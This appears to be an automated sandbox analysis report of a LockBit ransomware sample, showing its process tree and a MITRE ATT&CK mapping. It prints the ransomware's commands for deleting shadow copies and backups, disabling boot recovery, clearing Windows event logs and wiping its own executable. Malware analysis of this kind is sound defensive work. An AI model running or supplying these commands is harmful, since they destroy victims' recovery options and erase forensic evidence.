- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1636
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4872
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5864
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4720

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6112
- C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe
  C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5924
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5400
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2508
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5084
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5396
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete catalog -quiet
      4⤵
      Deletes backup catalog
      PID:5904
- - C:\Windows\system32\cmd.exe
    /c vssadmin Delete Shadows /All /Quiet
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3412
  - - C:\Windows\system32\vssadmin.exe
      vssadmin Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:1740
- - C:\Windows\system32\cmd.exe
    /c bcdedit /set {default} recoveryenabled No
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:288
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1100
- - C:\Windows\system32\cmd.exe
    /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:6084
- - C:\Windows\system32\cmd.exe
    /c wbadmin DELETE SYSTEMSTATEBACKUP
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3404
  - - C:\Windows\system32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP
      4⤵
      Deletes System State backups
      Drops file in Windows directory
      PID:4992
- - C:\Windows\system32\cmd.exe
    /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5492
  - - C:\Windows\system32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      4⤵
      Deletes System State backups
      PID:6032
- - C:\Windows\system32\cmd.exe
    /c wmic SHADOWCOPY /nointeractive
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5476
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic SHADOWCOPY /nointeractive
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4624
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl security
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4664
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl security
      4⤵
      Clears Windows event logs
      PID:6028
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl system
    3⤵
    PID:568
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl system
      4⤵
      Clears Windows event logs
      PID:4320
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl application
    3⤵
    PID:5032
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl application
      4⤵
      Clears Windows event logs
      PID:3176
- - C:\Windows\system32\cmd.exe
    /c vssadmin Delete Shadows /All /Quiet
    3⤵
    PID:2428
  - - C:\Windows\system32\vssadmin.exe
      vssadmin Delete Shadows /All /Quiet
      4⤵
      Interacts with shadow copies
      PID:116
- - C:\Windows\system32\cmd.exe
    /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:1936
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:292
- - C:\Windows\system32\cmd.exe
    /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:2964
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2240
- - C:\Windows\system32\cmd.exe
    /c wbadmin DELETE SYSTEMSTATEBACKUP
    3⤵
    PID:1008
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1636
  - - C:\Windows\system32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP
      4⤵
      Deletes System State backups
      Drops file in Windows directory
      PID:4224
- - C:\Windows\system32\cmd.exe
    /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
    3⤵
    PID:472
  - - C:\Windows\system32\wbadmin.exe
      wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
      4⤵
      Deletes System State backups
      PID:1696
- - C:\Windows\system32\cmd.exe
    /c wmic SHADOWCOPY /nointeractive
    3⤵
    PID:5764
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic SHADOWCOPY /nointeractive
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5916
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl security
    3⤵
    PID:4936
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl security
      4⤵
      Clears Windows event logs
      PID:4060
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl system
    3⤵
    PID:4456
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl system
      4⤵
      Clears Windows event logs
      PID:6072
- - C:\Windows\system32\cmd.exe
    /c wevtutil cl application
    3⤵
    PID:4888
  - - C:\Windows\system32\wevtutil.exe
      wevtutil cl application
      4⤵
      Clears Windows event logs
      PID:4796
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6500
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 6500 -s 1700
      4⤵
      Program crash
      PID:6884
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6680
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.7 -n 3
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6836
  - - C:\Windows\SysWOW64\fsutil.exe
      fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\LockBit_14_02_2021_146KB.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:6968

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2528

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:4932

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:408

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2656

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Desktop\LockBit-note.hta
1⤵
- Checks computer location settings
- Modifies registry class
PID:6436
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6572
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6572 -s 1800
    3⤵
    - Program crash
    PID:6876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 6500 -ip 6500
1⤵
PID:6800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6572 -ip 6572
1⤵
PID:6808

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit-note.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
PID:7140
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1708
  2⤵
  - Program crash
  PID:6316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 7140 -ip 7140
1⤵
PID:6312

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Restore-My-Files.txt
1⤵
PID:3076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

File Deletion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery